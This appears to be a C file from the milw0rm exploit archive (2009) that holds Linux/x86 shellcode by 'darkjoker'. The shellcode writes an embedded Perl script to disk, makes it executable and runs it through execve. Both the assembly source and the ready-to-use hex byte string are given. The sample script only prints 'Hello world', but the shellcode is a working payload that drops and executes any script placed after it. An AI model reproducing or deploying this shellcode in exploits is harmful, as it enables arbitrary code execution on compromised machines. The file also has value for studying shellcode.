90 lines
No EOL
2 KiB
C
90 lines
No EOL
2 KiB
C
/*
|
|
Author : darkjoker
|
|
Site : http://darkjoker.net23.net
|
|
Shellcode : linux/x86 Perl script execution 99 bytes + script length
|
|
|
|
|
|
.global _start
|
|
|
|
_start:
|
|
xor %eax, %eax
|
|
xor %ebx, %ebx
|
|
xor %ecx, %ecx
|
|
xor %edx, %edx
|
|
xor %edi, %edi
|
|
xor %esi, %esi
|
|
push %eax
|
|
push $0x6c702e30
|
|
push $0x30307470
|
|
push $0x69726373
|
|
|
|
mov %esp, %ebx
|
|
movb $0x5, %al
|
|
movb $0x41, %cl
|
|
int $0x80
|
|
jmp one
|
|
|
|
two:
|
|
|
|
mov %ebx, %esi
|
|
mov %eax, %ebx
|
|
|
|
pop %edi
|
|
|
|
push %edi
|
|
|
|
// Begin http://www.int80h.org/strlen/
|
|
xor %ecx, %ecx
|
|
xor %eax, %eax
|
|
not %ecx
|
|
repne scasb
|
|
not %ecx
|
|
dec %ecx
|
|
// End http://www.int80h.org/strlen/
|
|
|
|
pop %edi
|
|
mov %ecx, %eax
|
|
mov %edi, %ecx
|
|
mov %eax, %edx
|
|
|
|
movb $0x4, %al
|
|
int $0x80
|
|
|
|
movb $0x6, %al
|
|
int $0x80
|
|
|
|
mov %esi, %ebx
|
|
movb $0xf, %al
|
|
movw $0x1fc, %cx
|
|
int $0x80
|
|
|
|
movb $0xb, %al
|
|
xor %ecx, %ecx
|
|
xor %edx, %edx
|
|
int $0x80
|
|
|
|
movb $0x1, %al
|
|
xor %ebx, %ebx
|
|
int $0x80
|
|
|
|
one:
|
|
call two
|
|
.string "#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"
|
|
*/
|
|
char main [] =
|
|
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
|
|
"\x31\xff\x31\xf6\x50\x68\x30\x2e"
|
|
"\x70\x6c\x68\x70\x74\x30\x30\x68"
|
|
"\x73\x63\x72\x69\x89\xe3\xb0\x05"
|
|
"\xb1\x41\xcd\x80\xeb\x38\x89\xde"
|
|
"\x89\xc3\x5f\x57\x31\xc9\x31\xc0"
|
|
"\xf7\xd1\xf2\xae\xf7\xd1\x49\x5f"
|
|
"\x89\xc8\x89\xf9\x89\xc2\xb0\x04"
|
|
"\xcd\x80\xb0\x06\xcd\x80\x89\xf3"
|
|
"\xb0\x0f\x66\xb9\xfc\x01\xcd\x80"
|
|
"\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
|
|
"\xb0\x01\x31\xdb\xcd\x80\xe8\xc3"
|
|
"\xff\xff\xff"
|
|
"#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"; // Here script source
|
|
|
|
// milw0rm.com [2009-03-03]
|